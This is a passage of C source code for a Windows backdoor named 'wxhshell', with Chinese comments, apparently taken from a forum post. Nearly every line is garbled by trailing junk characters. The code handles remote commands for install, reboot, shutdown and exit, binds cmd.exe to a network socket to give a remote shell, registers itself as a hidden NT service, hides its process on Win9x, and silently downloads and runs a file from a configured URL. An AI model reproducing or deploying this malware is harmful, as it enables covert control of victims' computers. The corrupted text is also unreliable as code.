  else lUJ~_`D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u{+z?N  
  } >q !:*  
  else { #5b}"xK{  
9nrmz>es|-  
    switch(cmd[0]) { td"D&1eQ@  
  EO: VH  
  // 帮助 8,DY0PGP  
  case '?': { +8#hi5e  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zOfMKrRG  
    break; H0P:t(<Gt  
  } 7)Y0D@wg  
  // 安装 gf\F%VmSN  
  case 'i': { FT$Z8  
    if(Install()) 7i@vj7K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z| f~   
    else '1r<g\ l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +IkL=/';#  
    break; )] C"r_  
    } io1hUZ  
  // 卸载 AwQ7Oz|(  
  case 'r': { QRL+-)DMc  
    if(Uninstall()) iu9<]1k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6PyODW;R/5  
    else WH6Bs=G\}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &4R -5i2a  
    break; ]QJWqY  
    } 1@"os[ 9  
  // 显示 wxhshell 所在路径 vkgAI<  
  case 'p': { q0y#Y  
    char svExeFile[MAX_PATH]; Fk*C8  
    strcpy(svExeFile,"\n\r"); cq#=Vb  
      strcat(svExeFile,ExeFile); 4/J"}S  
        send(wsh,svExeFile,strlen(svExeFile),0); FIEA 'kUy  
    break; OKO+(>A Q  
    } |K,[[D<R  
  // 重启 .s8u?1b  
  case 'b': { &o]ic(74c?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &s>E~M0+J  
    if(Boot(REBOOT)) ?Tr\r1s]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }VDJ  
    else { 5xIOi(3`Q  
    closesocket(wsh); 'Xb?vOU  
    ExitThread(0); N}rc3d#  
    } XKQ\Ts2<k  
    break; P'<D0   
    } 31)eDs  
  // 关机 _>=QZ`!r  
  case 'd': { 'U/X<LCl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'irHpN6n  
    if(Boot(SHUTDOWN)) nKu)j3o`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vu1swq)l  
    else { :)g}x&A^$  
    closesocket(wsh); ,GTIpPj  
    ExitThread(0); mDX UF~G[  
    } *:tfz*FG$G  
    break; tB/'3#o  
    } ,\^RyHg  
  // 获取shell uJ9 hU`h  
  case 's': { 4ynGXJmMlR  
    CmdShell(wsh); U6K!FOND  
    closesocket(wsh); h( MNH6 B1  
    ExitThread(0); `\Ye:$q  
    break; ]~d!<x#+  
  } #-{^={p "  
  // 退出 /)/>/4O  
  case 'x': { &(/QJ`*8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mF`%Z~}b  
    CloseIt(wsh); ';iLk[  
    break; gH<A.5 xy  
    } ^P~NE#p5  
  // 离开 eH' J  
  case 'q': { 'eDV-cB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %RD%AliO}K  
    closesocket(wsh); ]7:*A7/!.  
    WSACleanup(); t=BXuFiu  
    exit(1); :9Mqwgk,;3  
    break; -*AUCns#  
        } }F=lG-x  
  } .h=H?Hr(V]  
  } m#a1N  
=}wqo6Bn|  
  // 提示信息 \VAm4   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ee\xj$,  
} M'>8P6O  
  } 7rSads  
6 ~.{~+Bd  
  return; B82SAV/O  
} j~C-T%kYa  
Zy&?.d[z  
// shell模块句柄 8h'*[-]70u  
int CmdShell(SOCKET sock) Q8?:L<A  
{ dSPye z  
STARTUPINFO si; Uf\,U8UB  
ZeroMemory(&si,sizeof(si)); \@F~4,VT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u81@vEK:_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e{E8_2d  
PROCESS_INFORMATION ProcessInfo; 1|/-Ff"1@  
char cmdline[]="cmd"; F|! ib5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F7lzc)  
  return 0; 56 [+;*  
} k@Mt8Ln  
\I+#M-V  
// 自身启动模式 =PAsyj  
int StartFromService(void) q:vc ;y  
{ W`gzMx  
typedef struct .g8db d  
{ r";;Fk#5  
  DWORD ExitStatus; mr<camL5  
  DWORD PebBaseAddress; @l %x;`E  
  DWORD AffinityMask; y\@INA^  
  DWORD BasePriority; 1T/ 72+R0  
  ULONG UniqueProcessId; r"bV{v  
  ULONG InheritedFromUniqueProcessId; 4ztU) 1  
}   PROCESS_BASIC_INFORMATION; \Jm^XXgS  
>})W5Y+  
PROCNTQSIP NtQueryInformationProcess; >&D}^TMYY  
=niT]xf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mT&?DZ9<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5"mH6%d :8  
Un^3%=;  
  HANDLE             hProcess; +Vw]DLWR  
  PROCESS_BASIC_INFORMATION pbi; Y |'}VU  
M=#'+CF}W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vV*i)`IXe  
  if(NULL == hInst ) return 0; 0.z\YTZ9  
MNu\=p\Eq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s]'EIw}mo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }[b3$WZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D0VbD" y  
6`V~cVu  
  if (!NtQueryInformationProcess) return 0; d$#DXLA\P  
YF6 8 Ax]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ac8t>;=&  
  if(!hProcess) return 0; Mi:i1i cdn  
J|.n bSE  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qj1Fj  
1dl(`=^X  
  CloseHandle(hProcess); aU?HIIA  
&\L\n}i-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bh5z4  
if(hProcess==NULL) return 0; 2f0qfF  
H J0Rcw%  
HMODULE hMod; (Q F-=o  
char procName[255]; A# Ne07d  
unsigned long cbNeeded; ?4H>1Wkb  
JN> h:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h)pYV>!d  
qt`HP3J&  
  CloseHandle(hProcess); |<!xD iB  
iCNJ%AZ H  
if(strstr(procName,"services")) return 1; // 以服务启动 I~) A!vp  
n# "N"6s  
  return 0; // 注册表启动 't n-o  
} |{9&!=/qf  
}II)<g'  
// 主模块 SmCtwcB1  
int StartWxhshell(LPSTR lpCmdLine) gtRVXgI  
{ sM6o(=>  
  SOCKET wsl; h%8C_m A  
BOOL val=TRUE; o@uZU4MM  
  int port=0; n0%5mTUN  
  struct sockaddr_in door; X1 FKcWv  
wuKr 9W9Xa  
  if(wscfg.ws_autoins) Install(); > K s.  
b:(t22m#?  
port=atoi(lpCmdLine); %6cbHH  
ES ?6  
if(port<=0) port=wscfg.ws_port; bsdT>|gW  
G0b##-.'^  
  WSADATA data; ,iMdv+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p@[n(?duC.  
+Y"HbNz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ra}t#Xt`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q=h37]U+  
  door.sin_family = AF_INET; Rgb&EnVW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6ac_AsFK  
  door.sin_port = htons(port); {ug*  
-7(,*1Tk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d:JP935  
closesocket(wsl); wj 15Og?  
return 1; m_h$fT8 _  
} Wiere0 2*  
}S 6h1X  
  if(listen(wsl,2) == INVALID_SOCKET) { PasVfC@  
closesocket(wsl); C"R}_C|r)*  
return 1; &x)nK  
} >9,:i)m_  
  Wxhshell(wsl); K8{ef  
  WSACleanup(); ui<Mnm_T;d  
y1#*c$ O  
return 0; Iwe  
i0'g$  
} F!zGk(Pu  
=k##*%  
// 以NT服务方式启动 {Lugdf'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?eDZ-u9)  
{ NS){D7T  
DWORD   status = 0; z C 7b  
  DWORD   specificError = 0xfffffff; 7}puj%JS /  
tu6<>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <6.?:Jj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4P}d/w?'KL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y/;DA=  
  serviceStatus.dwWin32ExitCode     = 0; dZuPR  
  serviceStatus.dwServiceSpecificExitCode = 0; ~WKWx.ul  
  serviceStatus.dwCheckPoint       = 0; <{IeCir  
  serviceStatus.dwWaitHint       = 0; ZDx1v_xr  
w}0rDWuR[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @YbZ"Jb  
  if (hServiceStatusHandle==0) return; _V(FHjY  
bJ^Jmb  
status = GetLastError(); T$1(6<:+.  
  if (status!=NO_ERROR) Zx^R-9  
{ A@jBn6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -q&7q  
    serviceStatus.dwCheckPoint       = 0; Oar%LSkPRz  
    serviceStatus.dwWaitHint       = 0; ufo\p=pGG  
    serviceStatus.dwWin32ExitCode     = status; X3HJ3F;==  
    serviceStatus.dwServiceSpecificExitCode = specificError; /Nns3oE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?I"FmJ;  
    return; i4lB ]k  
  } <jqL4!<  
t(1gJZs>kX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }c=YiH,o  
  serviceStatus.dwCheckPoint       = 0; ]0=THq\H  
  serviceStatus.dwWaitHint       = 0; {v*X}`.h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FTu<$`!1L  
} B$MHn?  
m@"p#pt(_  
// 处理NT服务事件,比如:启动、停止 y\R-=Am".  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q+ka}@  
{ 2XyC;RWJ%  
switch(fdwControl) oxLO[js  
{ LBIEG_/m  
case SERVICE_CONTROL_STOP: BirnCfj/2  
  serviceStatus.dwWin32ExitCode = 0; Tsocc5gWZ*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; WS"v"J%  
  serviceStatus.dwCheckPoint   = 0; d?><+!a  
  serviceStatus.dwWaitHint     = 0; 2=$ F*B>9  
  { oI"gQFGu`u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q}uh`?t  
  } g{JH5IZ~  
  return; |#EI(W?`  
case SERVICE_CONTROL_PAUSE: Si68_]:^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Hk?E0.  
  break; {6iHUK   
case SERVICE_CONTROL_CONTINUE: |;R-q8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :Yn{:%p  
  break; g_?bWm4br  
case SERVICE_CONTROL_INTERROGATE: 4"eeEs h  
  break; [Vj|fy4  
}; !X 0 (4^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^+Njz{rpG  
} ).jna`A,  
Vu,:rPqI  
// 标准应用程序主函数 X [;n149o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZWx4/G  
{ yppXecFJ  
9mEhZ"  
// 获取操作系统版本 soqnr" 1  
OsIsNt=GetOsVer(); >HRLL\u9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <<6gsKP  
8},fu3Z  
  // 从命令行安装 u43-\=1$T  
  if(strpbrk(lpCmdLine,"iI")) Install(); Yy_mX}\x  
s "l ^v5  
  // 下载执行文件 <9`/Y"\p  
if(wscfg.ws_downexe) { $B`bsJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |2&|#K4k^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 94.M 8  
} /_r{7Gq.  
Job&qW9W`  
if(!OsIsNt) { jxnb<!|?H@  
// 如果时win9x,隐藏进程并且设置为注册表启动 ; .hTfxE0  
HideProc(); {=_xze)  
StartWxhshell(lpCmdLine); o Hrx$>W]  
} "H}ae7@  
else (Jk:Qz5  
  if(StartFromService()) T7Yg^ -"  
  // 以服务方式启动 (ce"ED`1  
  StartServiceCtrlDispatcher(DispatchTable); ,tuZ_"?M  
else +ID% (:  
  // 普通方式启动 BF]+fs`  
  StartWxhshell(lpCmdLine); IO?6F@(  
IeBb#Qedz  
return 0; PSa"u5O  
}
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只看该作者 1 发表于: 2006-10-10
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